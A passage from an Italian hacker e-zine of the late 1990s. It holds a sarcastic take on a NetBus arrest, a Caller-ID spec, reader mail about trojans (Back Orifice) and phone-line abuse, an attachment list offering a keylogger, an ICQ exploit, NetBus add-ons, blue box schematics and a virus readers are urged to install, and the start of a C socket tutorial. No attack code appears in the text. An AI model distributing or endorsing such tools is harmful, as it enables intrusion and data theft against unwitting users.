conoscenza e sa distinguere un vero hacker da un tipo che hanno preso :) ha dimostrato di capire la differenza da chi vuole solo fare il figo e/o mona! >Comunque meditate!! Uno scherzo si puo' anche farlo agli amici ma >effettuarlo sistematicamente e su larga scala ai danni di sconosciuti >porta a conseguenze penali decisamente pesanti. Chi sbaglia paga... >E come vedete l'autorita' e' oramai preparata ad intervenire per >tutelare i cittadini anche quando navigano sulla rete ed e' sensibile >alle segnalazioni. Infatti il NOPT e' attivo come e' vero che io sono un hacker! :P ---------------------------------------------------------------------->L'hacker denunciato e' un geometra cagliaritano di 25 anni Sottolineo quell'"hacker"... >Files rubati ai >Internet computer dei "navigatori" grazie al virus diffuso su Virus? che virus sara'??? >Meglio non fermarsi a chiacchierare con gli sconosciuti, soprattutto >sulle chat-line di Internet. L'hanno imparato a proprie spese numerosi >abbonati a diversi provider nazionali, ai quali un hacker cagliaritano >di 25 anni ha sottratto, durante la navigazione, gli identificativi e >le password per collegarsi in rete. Visto che c'era, G. F., geometra >disoccupato, ha fatto di piu': dal disco fisso dei computer delle >vittime, ha portato via documenti e fotografie digitalizzate, creando >seri danni e violando la privacy dei malcapitati. Il "capolavoro", del >quale andava particolarmente fiero, era lo "scherzetto" organizzato ai >danni di un perito assicurativo: l'uomo e' trasecolato, quando sul suo >monitor e' comparsa la scritta "Il computer e' stanco". Caxxo ma come avra' mai fatto questo genio hacker?????? >Ingegneri, avvocati, docenti universitari e studenti, caduti nella >trappola del geometra, si sono rivolti ai carabinieri, che hanno >individuato l'hacker. Ottenuto un mandato di perquisizione, i militari >del Nucleo operativo della Compagnia hanno bussato alla porta di G. F. che ha risposto "No grazie non compro niente" hihihi >(che nel web era conosciuto col soprannome di "Harris"). Il giovane e' Mi che ppppppaura!!! Il conte Drac...ehm...Harris!!!!!!!!!!!! >stato denunciato per una sfilza di reati che vanno dall'accesso >abusivo ai sistemi informatici alla diffusione di codici segreti, >dalla sostituzione di persona alla violazione della tutela dei >programmi per elaboratori, passando per la diffusione di software in >grado di danneggiare i computer. Ma sto cax di virus cosa sara' mai???? >"Harris", spiega il tenente Saverio Spoto, comandante della Compagnia >dei carabinieri, contattava le sue vittime attraverso Icq, un area di >conversazione offerta da numerosi provider di Internet. Utilizzando Sono i provider a offrire icq? Non sono competente in materia ma non credo proprio che siano i provider... >una chiave d'accesso acquistata fornendo generalita' false, durante le >"chiacchierate scritte" G. F. inviava ai computer delle vittime il >virus Netbus, che consente di "navigare" nel disco fisso dei computer >altrui durante il collegamento a Internet. Harris aveva anche un uhhhhhhhhhhh!!!!! il famoso virus Netbus!!!!! Un vero e proprio virus!!! Certo c'era bisogno di specificare, magari uno pensava che consentisse di navigare nel disco fisso dei computer altrui finito il collegamento a Internet! A computer spento magari!!! >proprio sito, nel quale offriva foto pornografiche, programmi-pirata e >files di ogni genere: chi si collegava al suo indirizzo, veniva >immediatamente contagiato dal virus informatico. Allora non e' una stronzata il fatto che il 44% degli italiani usano Internet solo x andare su siti XXX ... e che il 32% lo usa x cercare e scaricarsi software pirata ... ahahahah >Ottenuto l'accesso ai computer delle persone contattate in rete, >spiega il tenente Spoto, il giovane si impadroniva dell'identificativo >e della password segreta, utilizzati dalle vittime per collegarsi alla >rete: ne aveva alcune decine. Era solo l'inizio: subito dopo, iniziava Cavolo!!! Alcune decine!!! Quanto vorrei diventare un vero hacker come lui ;) hihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihi >il furto di files e foto digitali, che sparivano misteriosamente dagli >hard disk dei proprietari e finivano su quello di G. F. Che uso >intendesse farne, ancora non si sa: i carabinieri sospettano che il >pirata informatico abbia forzato anche i sistemi di uffici pubblici e >professionisti, entrando cosi' in possesso di dati estremamente >riservati. >Gli investigatori non spiegano come, ma alla fine sono riusciti a Certo che e' difficile leggere un ip in qualke log file, andare dalla tin e dire "Scusi chi e' questo x.x.x.x ???" Ricordatevi che nella polizia ci sono solo ex-smanettoni o ex-hacker che cosa credevate ;))))))))))))) >identificare il geometra, che ora rischia una condanna fra uno e >cinque anni di carcere. Dal comandante della Compagnia, partono ora Da uno a cinque anni...se ti prendono a usare bo netbus e altri 10 trojan che ti danno 60 anni di carcere? >due appelli: I frequentatori dell'Icq farebbero bene a fare una >scansione del disco fisso, con un antivirus aggiornato. Chi ha avuto >contatti con Harris, se ha il dubbio che i suoi archivi siano stati >forzati, venga a trovarci al Comando. L'indirizzo, stavolta non >telematico, e' via Nuoro 9 Cagliari. > LUIGI ALMIENTO Per questo numero e' tutto questo art vi e' stato segnalato da me cioe' io che sono il mitico (non molto in verita') 3uC@50L. Spero che ognuno di voi possa capire se quello che e' stato preso era un hacker o un lamer...cmq a voi l'ardua scelta... e speriamo che queste parole non siano buttate al vento come foglie d'autunno... 3uC@50L ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ L'ANGOLO DELLA POSTA ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Mailzz viva i lettori: From: [email protected] (Jeff Sicherman) Subject: Caller-ID Specifications This is a copy of the data sheet picked up at the Rockwell booth at the COMDEX show. INTRODUCTION Calling Number Delivery (CND), better known as Caller ID, is a telephone service intended for residential and small business customers. It allows the called Customer Premises Equipment (CPE) to receive a calling party's directory number and the date and time of the call during the first four second silent interval in the ringing cycle. The customer must contact a Bellcore Client Company to initiate CND service. According to Pacific Bell representatives, the following states and district currently support CND service: Delaware, District of Columbia, Florida, Georgia, Idaho, Kentucky, Louisiana, Maine, Maryland, Nebraska, Nevada, New Jersey, Oklahoma, Tennessee, Vermont, Virginia, and West Virginia. The following states are scheduled to support CND service by April, 1992: Alaska, Arizona, California, Colorado, Illinois, Indiana, Iowa, Massachusetts, Mississippi, New Hampshire, New York, North Carolina, North Dakota, Ohio, Oregon, Rhode Island, and South Carolina. PARAMETERS The data signalling interface has the following characteristics: Link Type: 2-wire, simplex Transmission Scheme: Analog, phase-coherent FSK Logical 1 (mark) 1200 +/- 12 Hz Logical 0 (space) 2200 +/- 22 Hz Transmission Rate: 1200 bps Transmission Level: 13.5 +/- dBm into 900 ohm load (I have copied this data as presented. level is meant to be -13.5 dBm.) I believe the transmission PROTOCOL The protocol uses 8-bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below. Channel Carrier Message Message Data Seizure Signal Type Length Word(s) Signal Word Word Word Checksum CHANNEL SEIZURE SIGNAL The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump). CARRIER SIGNAL The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition the receiver for data. MESSAGE TYPE WORD The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100). MESSAGE LENGTH WORD The message length word specifies the total number of data words to follow. DATA WORDS The data words are encoded in ASCII and represent the following information: o o o o o The first two words represent the month The next two words represent the day of the month The next two words represent the hour in local military time The next two words represent the minute after the hour The calling party's directory number is represented by the remaining words in the data word field If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P". CHECKSUM WORD The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the reveived checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported. EXAMPLE CND SINGLE DATA MESSAGE An example of a received CND message, beginning with the message type word, follows: 04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51 04h= Calling number delivery information code (message type word) 12h= 18 decimal; Number of data words (date,time, and directory number words) ASCII 30,39= 09; September ASCII 33,30= 30; 30th day ASCII 31,32= 12; 12:00 PM ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM) ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling party's directory number 51h= Checksum Word DATA ACCESS ARRANGEMENT (DAA) REQUIREMENTS To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task. (I will mail the Rockwell data sheet, which includes the suggested schematic diagram.) MODEM REQUIREMENTS Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information. (I'm skipping some Rockwell-specific information here.) According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst. APPLICATIONS Modem manufacturers will soon be implementing new modem features based on CND information as this service becomes widely available. Once CND information is received the user may process the information in a number of ways. 1. The date, time, and calling party's directory number can be displayed. 2. Using a look-up table, the calling party's directory number can be correlated with his or her name and the name displayed. 3. CND information can also be used in additional ways such as for: a. b. c. d. Bulletin board applications Black-listing applications Keeping logs of system user calls, or Implementing a telemarketing data base REFERENCES For more information on Calling Number Delivery (CND), refer to Bellcore publications TR-TSY-000030 and TR-TSY-000031. To obtain Bellcore documents contact: Bellcore Customer Service 60 New England Avenue, Room 1B252 Piscataway, NJ 08834-4196 (201) 699-5800 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Ciao Zero Cool, com'e' Praga? E le ceche??eh!eh! Cmq ti volevo dire che avrei scritto una articoletto su 3 semplici backdoors (aggiungere un user,manipolare .rhosts e inetd.conf per crearsi una porta.. cose che saprai a memoria) e mi chiedevo se le potevo mettere su Newbies nø2. Se non posso dimmelo pure che non mi offendo! Poi ti volevo chiedere qualche informazione su come e' strutturata la crew, chi sono i piu' bravi ecc. Byez, Hamelin Re: si il tuo articolo e' ben accetto scusa se lo scrivo qua ed ora ma non trovo la tua mail proprio + e il txt con su scritto cio'e'l' unica cosa che mi e'rimasta fatti sentire ZeroCool Re: l'art di Hamelin e' presente su questo numero :))) alla fine ci ha ribeccati lui eheheheh N0bodY88 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Ciao zero, ascolta, Ho un amico che fa il sistemista ed e'in grado di controllare il traffico delle linee telefoniche ! Se io gli do dei numeri verdi e lui scopre che ci si collega sempre un sacco di gente, significa che il GREEN e' piuttosto sicuro oppure il contrario ? Andrew Coleman Re: si mi farebbe piacere ricevere solo dei manuali e dei txt sulle linee telefoniche per quanto riguarda i green non ne voglio proprio sapere ZeroCool -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Vorrei esprimere la mia ammirazione verso il vostro fantastico gruppo Vai ragazzi siete i migliori Coda RE: stragrazie millexxxxx ZeroCool RE: oddio questo chissa' che si e' bevuto prima di sedersi davanti al computer ..o avra' fumato??? hihihi tnx cmq ricorda che e' un lavoro di squadra nonostante ci siamo io e zero (e dal prox num nosferatu) come "capi", noi siamo solo dei coordinatori e questa e-zine e' bella imo xche' non e' mia o tua e' un po' di tutti ognuno la sente propria e x questo vuole miglio rarla dando il meglio di se' coi propri articoli N0bodY88 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ciao zerocool sono un ragazzo che ne vuole sapere un pacco ma che, come te, capisce poco l'inglese. navigando ho trovato molti siti sull'hacking ma il piu' chiaro e' sicuramente il vostro perche' e' in italiano e spiega testualmente na frega (molte) di cose. un po sto a lecca': non sono uno che ottiene le cose leccando il culo su irc ma, visto che sembri molto disponibile, ti chiedo una cosa proprio da + lamer che non si puo': -cos'e' un volmetro? (non so manco se e' software o hardware) per ora mi interesso dei green perche' appena ne trovero' uno potro dedicarmi alla navigazione serrata per trovare strafigherie. una cosa tra amici: una volta che c'ho il green che cazzo devo scriverci nella user e password?????????? se mi rispondi sei un grande mo vengo sui vostri chan IRC ciao:):) RE: ciao grazie per i complimenti [ps ho un'inglesina che mi sta dando lezioni di lingua e penso di poter avere un livello accettabile ] ; per quanto riguarda un volmetro che so' io e' a livello hardware e per quanto riguarda i green se vuoi un consiglio lasciali perdere o rischi di fare una brutta fine ZeroCool PS DI N0bodY88 = cosa intendevi zero con la frase "Ho un inglesina che mi sta dando lezioni di lingua" ??? Ahhh io e i miei doppisensi... hihihi -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Ola....ho visto il tuo indirizzo sulla pagina web http://www.newbies.tsx.org/ e visto che non so a chi rivolgermi spero in un tuo aiuto... Questo e' il problema: voglio lanciare Boclient (quello per Dos) su un pc di un boservizato da una shell dos, in modo che i comandi indirizzati ad un secondo boservizato partano da quel PC e non dal proprio.... il mio problema e' che non riesco a far eseguire boclient al primo pc.. Questa e' la procedura che seguo: 1-Appadd command.com 23 2-apro telenet 3-lancio boclient.exe (devo mettere qualche parametro?) e mi si inchioda qui Telnet....ma se faccio un process list vedo il processo attivo.... Ho provato a lanciare direttamente anche Appadd c:\boclient.exe 23 ma quando apro telent sulla porta 23 non risponde niente ;-( Che devo fare?....Ma si puo fare una cosa del genere? Ho fatto mille prove....ma il risultato e' sempre quello ;-( byez Snafuz RE: Ciao in questo numero dell'ezines ci dovrebbe essere la risposta per la tua domanda -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ "ah na cosa sapete che esiste un sito in internet con tutti i numeri verdi esitenti italiani [nooo] e anche quelli non doumentati nelle guide [nooooo] si , bhe ma ci vuole un caro account se qualcuno e' disposto ad aiutarmi nel trovarlo mi contatti [[email protected]] ah gia' il sito in questione si chiama http://12online.tin.it ... ciao a tutti ZeroCool" Che sappia io non ci sono quelli non documentati nelle guide...sorry. Blum [email protected] RE: Mha a me han detto cosi'cmq magari sbaglio cmq e'un argomento che non mi interessa piu'cmq colgo l'occasione per salutarti sei miticissimo ZeroCool -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Ciao Sono Uncle Jack, vi sto seguendo su ahccc da due mesi circa ed esco dall ombra per due motivi: Innanzi tutto complimenti per il primo numero dell' E-ZINE L'ho scaricato stampato e letto nel giro di una sera!!!! Spero che le uscite continuino anche se penso che non sia un lavoro da poco mettere insieme un lavoro di quelle dimensioni. Comunque sono in attesa del secondo numero ;-)) Secondo ho letto il post di Newbie 1,1 riguardo il futuro di ahccc e condivido il pensiero che negli ultimi periodi e' scaduto parecchio di qualita', io mi sono ridotto a leggere solo i post di alcuni di voi lasciando perdere il resto. Trovo quindi FANTASTICA l' idea della mailing list e siccome sul Vs. sito la pagina e' in costruzione........e non e' meglio specificato a chi rivolgersi, chiedo a voi ma e' come se lo chidessi a tutto il gruppo se per cortesia mi voleste inserire nella lista consentendomi di continuare a seguire i post di gente che ha contribuito a risvegliare la mia curiosita di studiare ed imparare (NB. ho 32 anni e il mio primo login risale all aprile 1992 poi per motivi di lavoro e famiglia ho dovuto mollare ho ripreso grazie a voi). Nella speranza di poter sedere alla vostra tavola per poter appagare la mia sete di sapere vi saluto. RE: Non ho parole sei strabenvenuto da noi e la mailing list e' gia'attiva ZeroCool -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ hi ZeroCool, volevo avvertirti che nel tuo sito non ci sono i "testi tradotti", potresti mandarmi i testi via e-mail o darmi un indirizzo dove possa trovare questi testi? RE: Il nostro traduttore ufficiale si sta dando da fare al riguardo ZeroCool RE: Tutti le traduzioni sono sempre state messe nelle e-zine fino adesso, ma appena rifacciamo il sito faremo la page traduzioni N0bodY88 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ scusa , ti volevo anche chiedere se potevo pubblicare la vostra rivista sul mio sito , come.to/lopks con la "rivista" della precedente mail intendevo dire la e-zine di ZeroCool e N0bodY88 ..... by lopks RE: certo te la mandero'al + presto . ZeroCool -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ RIEPILOGO LINK IN ORDINE ALFABETICO ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ [ [ [ [ [ [ [ [ D.I.B. ----------------------------------------------> http://come.to/dib NetRunners ---------------------> http://members.tripod.com/~teresacanis/ NewBies -----------------------------------------> http://newbies.tsx.org RingZ3rO ---------------------------------------> http://ringzer0.cjb.net Softpj -------------------------------> http://softpj98.bbk.org/main.html Spaghetti Phreakers -----------------> http://come.to/spaghettiphreakers/ Spippolatori -------------------------------> http://www.spippolatori.com Vana - Imago ------------------> http:/members.xoom.com/eripper/index.htm ] ] ] ] ] ] ] ] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°°°°°°°°°°°°°°°°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°Û°°°°°°°°°°°°² ²°°°°°°°°°°°ÛÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°°°°°°ÛÛÛ°°°°°°ÛÛÛ°°°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°ÛÛ²ÛÛ°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛ°ÛÛÛÛ°°°ÛÛ²ÛÛ°°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°°°² ²°°°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°°°² ²°°°°°°°°ÛÛ°°°°°ÛÛ°ÛÛÛÛÛ°ÛÛÛÛÛ°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°ÛÛ°°°°°ÛÛ°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ 2 PAROLE SUGLI ALLEGATI: - anti-s.zip = file con altri 5 doc presi dalla mitica guida fatta da Anti-Social. - AntiMelissa = questa e' una voce di registro che se aggiunta al ns registry ci rende non attaccabili dal tanto decantato melissa.Tnx Sephy - cmanager.exe = programmino usato in alcuni netcafe e del quale unlt ci ha fatto lieto dono :))), trovate una descrizione del prog nella sezione "hacking e altro" dove ulnt spiega tutto quello che sa sui netcafe :-))))))) - CookBook = zip con il (speriamo diventi) famoso CookBook di ElectroRipper in anteprima x NewBies da uno dei + attivi degli scrittori della ns e-zine. - file3ds.zerocool = file 3ds attinente all'articolo in cui ZeroCool parla di programmazione di demo x nintendo 64. - Guida di Kalidor all'hacking per Win95-98.zip = file contenente la guida fatta dal mitico Kalidor. - IcqExploit.htm = questo e' un file fatto da Sephy il cui uso e' spiegato nel suo articolo intitolato ICQ EXPLOIT. - italiano.lng = Traduce netbus 2 dall'inglese all'italiano... inseritelo nella dir LANG e fate opzioni nel menu di netbus...by Sephy - KeyLogger.zip = come capirete dal nome (ma no!) questa e' un keylogger (ma va!) che Sephy ci spiega ad usare in uno dei suo articoli, e cmq trovate la documentazione all'interno se avete fretta di usarlo. - naggabox.zip e omega.zip = file in cui sono riportati gli schemi di una blue box che nonstante se ne dica secondo me funziona ankoroggi qui in italia ;-) - NetBusEliminator = utile programmino fatto dal ns Quequero che praticamente va a modificare le proprieta' del server di NetBus cosicche' se siete infetti vedrete il server caricarsi al riavvio del pc senza che lo stesso sia + nascosto, individuandone quindi anke il nome. Un tnx 1000 a Quequero da parte di tutti noi. - NetbusICO.zip = alcune icone da usare secondo quanto spiegato da Sephy in uno dei suo articoli (ma quanti ne ha fatti sto qua??? hihihi) - newbies.asm = virus fatto da Caos83 e provato nella sua scuola, se avete un po' di cultura di so e hacking installatevelo e provate a rispondere alle domande che vi verranno poste ;-) - r0_pesentry.zip = file zip che e' collegato all'articolo di Kill3xx (dei Ring0...i migliori!) - rain10.zip = file accluso xche' chiamato in causa da SoftWord x il suo articolo sull'overclock; - SourceCode.zip = file contenenti info e codice che ©ipLey ha spiegato (si proprio l'articolo dove si spiega come fare una backdoor!) - supporti.zip = file allegato con i sorgenti, l'exe e molti .pas moooooooolto interessanti dei quali Master parla nel suo articolo ^______^ - zerocool.zip = file contenente una serie di exploits forntici dal ns mitico redattore, un prog x leggere le pass del prog CuteFtp e un paio di immagini da luis elezionate eheheh. N0bodY88 PS DELL'ULTIMO MINUTO:dato che non so quanti di voi hanno voglia di scaricarsi una e-zine di un 1 mega e mezzo, abbiamo deciso di dividere la e-zine in 2 zip, 1 contenente questa e-zine e altri articoli o guide, mentre nell'altro trovate i prog che son sopra elencati, ma questo non vuol dire che non dovete scarcarli entrambi :PPP N0bodY88 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛ°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°ÛÛÛÛÛÛÛÛ°ÛÛÛÛÛÛ°°ÛÛ°°°°°°°°°°°°°ÛÛ°°°°°°°² ²°°°°°°°ÛÛÛ°°°°°°°°ÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ²²²²ÛÛ°ÛÛ²²ÛÛ°°°°°°°°°°ÛÛÛ°°°°ÛÛ°°°°°°°² ²°°°°°°°ÛÛÛ°°°ÛÛ°°°ÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ²²²²ÛÛ°ÛÛÛÛ°°°°ÛÛ°°°°°ÛÛ²ÛÛ°°°ÛÛ°°°°°°°² ²°°°°°°°ÛÛÛ°°°ÛÛ°°°ÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ²²²²ÛÛ°ÛÛ°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°² ²°°°°°°°ÛÛÛ°°°ÛÛÛÛÛÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛ°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°°°°ÛÛ°ÛÛÛÛÛÛ°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸ ³ ::::::::::::::::::::::::::: | ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵ ³ Titolo: Corso di C - III Parte³ ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵ ³ di : ElectroRipper ³ ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵ ³ Scritto il : 21/4/99 ³ ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵ ³ Pericolo: Û°°°°°°°°° ³ ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ; E L E C T R O R I P P E R P R E S E N T A C O R S O D I C I I I P U N T A T A Stavolta parliamo dei...socket! Oramai dovreste avere un'idea generale del linguaggio e di come programmare in C, semplici applicazioni, dopo aver letto le prime due puntate di questo corso, riguardanti la prima la sintassi di base, e la seconda la gestione dei files, quindi stavolta tratteremo un argomento un po' piu' specifico. Dato che e' un argomento lunghetto lo divideremo in due puntate. Un socket altro non e' che un cazzariello che gestisce per noi le parti piu' a basso livello di una connessione, lasciandoci cosi' liberi di pensare al programma e risparmiandoci un casino di fatica. Faro' riferimento a Unix e Linux ma in Windows non dovrebbe cambiare molto. Ecco gli headers che dovrete includere nei vostri programmi per il supporto dei socket di base : sys/socket.h sys/types.h netinet/in.h netdb.h Per Windows95 la libreria che si occupa della gestione dei socket e' wsock32.dll Un socket viene riconosciuto dal C per il suo descriptor. Proprio come un file infatti un socket ha un numero intero che lo identifica, e glielo assegniamo con la funzione socket, che usa la seguente sintassi : int socket(int domain, int type, int protocol); Ecco le costanti piu' comuni da passare come domain : AF_UNIX AF_INET AF_ISO (protocolli interni Unix) (protocolli internet ARPA) (protocolli ISO) Come type potete usare invece : SOCK_STREAM (TCP) SOCK_DGRAM (UDP) SOCK_RAW (Il programma stesso costruisce i pacchetti) Come protocol potete passare 0 in modo che scelga automaticamente quello + adatto. L'int restituito sara' appunto il descriptor del socket che abbiamo appena creato. Poi dobbiamo comunicare al socket a quale indirizzo collegarsi e su quale porta e per farlo utilizziamo la struttura sockaddr, o meglio la struttura sockaddr_in con un cast. struct sockaddr_in{ short sin_family; short sin_port; struct in_addr sin_addr } sin_addr e' una struttura di tipo in_addr, cioe'... struct in_addr{ long s_addr; } In sin_family potete schiaffarci AF_INET, sin_port e' la porta, e sin_addr e' ....indovinate un po'.... esatto, l'indirizzo del server. Internet usa valori ordinati nel modo inverso a quello dei processori intel, (i cosiddetti host byte order e network byte order) quindi per inserire un valore in sin_port o sin_addr dovremo prima convertirlo, e possiamo farlo con queste funzioni : unsigned long int htonl(unsigned long int hostlong); unsigned short int htons(unsigned short int hostshort); unsigned long int ntohl(unsigned long int netlong); unsigned short int ntohs(unsigned short int netshort); il cui significato mi sembra abbastanza ovvio (se non dovesse esserlo vi bastera' scrivere "man htonl" per avere una descrizione piu' dettagliata) In sin_addr non va inserito ovviamente l'indirizzo alfanumerico, ma l'ip numerico. Per trovare l'ip numerico di uno alfanumerico usiamo la funzione : struct hostent *gethostbyname(char *name); name e' la stringa che rappresenta l'indirizzo alfanumerico. La funzione restituisce un puntatore a una struttura hostent. L'ip che ci interessa e' contenuto nella struttura puntata dal valore di ritorno di gethostbyname, nel campo char *h_addr. Una volta che abbiamo creato il socket dobbiamo connetterlo, e lo possiamo fare con la funzione : int connect(int sockfd, struct sockaddr *serv_addr, int addrlen ); sockfd e' il descriptor del socket (valore di ritorno della funzione socket) serv_addr e' la struttura sockaddr che contiene l'indirizzo e la porta, addrlen e' la dimensione di serv_addr Il valore di ritorno e' 0 in caso di successo. Per scrivere ad un socket (spedire dati quindi) si puo' usare la funzione write : int write (int sockfd, char *buffer, int buflen); sockfd e' il descriptor del socket buffer punta al primo carattere della stringa da inviare buflen e' il numero di bytes da 